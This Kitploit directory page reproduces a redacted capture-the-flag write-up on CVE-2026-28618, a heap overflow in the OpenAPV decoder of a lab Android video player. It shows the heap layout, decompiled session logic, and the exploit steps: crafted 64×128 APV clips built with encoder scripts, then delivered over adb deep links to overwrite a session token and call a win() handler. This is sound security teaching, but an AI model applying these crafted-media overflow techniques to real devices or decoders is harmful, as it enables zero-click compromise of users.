Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
streambox-cve-2026-28618 — Redacted notes on CVE-2026-28618 / StreamBox APV lab — heap write into a session object via FRAME height mismatch | Kitploit
ツール/GitHubGitHub/raafatabualazm/streambox-cve-2026-28618
Android SecurityMemory ForensicsVulnerability AnalysisExploitationReverse EngineeringMobile SecurityPapers & ResearchLearning & EducationBinary Exploitation

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubraafatabualazm/streambox-cve-2026-28618

streambox-cve-2026-28618

Redacted notes on CVE-2026-28618 / StreamBox APV lab — heap write into a session object via FRAME height mismatch

リポジトリを見る
2220日前未レビュー
要求された言語のコンテンツは利用できません。英語版を表示しています。

Zero-click APV, in a player that auto-plays shared clips

CVE-2026-28618 in StreamBox — the same OpenAPV decoder class as CVE-2026-0006, turned into a heap write against a session object.

This repo is a public, redacted writeup: flags, instance tokens, and the HMAC key are omitted. The APK and make_clip.py belong to Mobile Hacking Lab; they are not mirrored here.

Attack chain

What we solved

StreamBox is a small APV player. APV is Advanced Professional Video (RFC 9924), Samsung’s royalty-free codec, the same family that shipped in Android’s media stack. The lab pitch is one sentence: the player plays shared clips on arrival.

SEND, VIEW, or streambox://play?url=… copies a file into files/incoming.apv and NativeDec.loadClip() runs.

The bug is CVE-2026-28618: a heap buffer overflow in dec_frm_prepare of OpenAPV. Same decoder class as CVE-2026-0006.

The lab packages that write as a game. Overflow the hardcoded 64×64 Y plane, smash an adjacent session object, redirect teardown into handlers[2], and the Worker hands back the flag.

The kit is two zips from the lab:

  • streambox-lab.apk.zip — the player
  • make_clip.py.zip — how the 64×64 library clips were built, and the bitstream you overflow

The player (Android 14 x86_64 AVD + ndk_translation)

Android Studio’s ARM64 system-image QEMU is a poor fit on an x86-64 host. This APK is arm64-v8a / minSdk 34. An x86_64 API 34 AVD with libndk_translation.so (abilist=x86_64,arm64-v8a) installs and runs it.

StreamBox library on the AVD

Sunset Drive playing, 64×64, loadClip → 0

PlayerActivity does:

NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);   // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity

loadClip returns 1 (premium / session smash) or 2 (win() already ran). openTier only navigates the UI.

POST /api/unlock
{
  "instance_id": <from POST /api/instance>,
  "tier": 3,
  "session_hex": hex(sessionProof[64]),
  "ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}

On boot the app already did POST /api/instance and NativeDec.setPlatinumToken(token). That token is what the overflow has to write into the session.

Heap: 64×64 Y, then the session

Y plane of 0x2000 bytes, session object immediately after, extra FRAME rows overflow into magic/token/handler

arena   = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F;  /* bytes: "OBMAERTS" */

The oapv_imgb_t is hardcoded 64×64, 10-bit YUV. Plane 0 (Y) starts at arena+0. 64 × 64 × 2 = 0x2000. Session is arena + 0x2000 + pad. pad is SB_SESS_PAD or a 0x400-aligned nibble of rand() after srand(getpid()^time()). On the AVD, Sunset Drive logged session-arena = 0x3800 (pad = 0x1800). The 64×128 extra tile is 0x2000 bytes, so it still reaches the session for those pad values.

oapvd_decode() writes at the FRAME PBU width/height. A FRAME taller than 64 writes 10-bit samples straight into session.

After decode:

if (session->token == g_token) {        /* +0x08 */
    if (session->handler <= 2)          /* +0x0c */
        g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
    g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

sessionProof layout: smash magic, match token, handler index 2

make_clip.py is the clip path

The lab’s generator draws 32 frames of 64×64 RGB, converts to yuv422p10le, and shells out to the OpenAPV reference encoder:

oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1

Every bundled clip is 32 access units of FRAME 64×64:

[u32be au_size] ['aPv1' + PBUs] × 32

The player allocates 64×64. APV tiles are 64×64.

qemu-user (qemu-aarch64 + Android 10 linker64) and the AVD agree:

Clipqemu-user streambox_loadAVD loadClip
64×64 library clip00 (premium_hit=0)
header height 64→72SIGABRT oapvd_vlc_ac_coefSIGABRT, same assert, process dies (home after crash)
real 64×128 encode (two tiles, QP 0)11 premium_hit=1 → SESSION ANOMALY
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

64×128 shared clip: SESSION ANOMALY (overflow reached the session, token mismatch)

A second encode, closed-loop against encoder recon, plants the live access token and handler 2 (input Y≈4 reconstructs as 2). Repeat that 16-byte prefix across the 64×128 Y plane so pad does not matter.

# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

On the AVD:

gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

SESSION COMPROMISED — flag redacted; Worker released it from the smashed sessionProof

win() ran inside loadClip. openTier(2) only opened PremiumActivity, which POSTed that proof.

Setup for qemu-user (not Android Studio’s ARM64 emulator): see comments in encode_overflow.py and the lab qemu-harness/README.md.

Related public PoC for the parent bug class: mobilehackinglab/CVE-2026-0006-openapv-poc.

Prove the write

Python urllib gets Cloudflare 1010. curl with a mobile UA works.

The Worker rejects original magic with no overflow evidence: session magic intact. ASCII STREAMBO (different bytes from the LE uint64) counts as a write.

Redacted unlock: POST /api/instance then POST /api/unlock returning MHL{REDACTED}

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py
ツールをダウンロード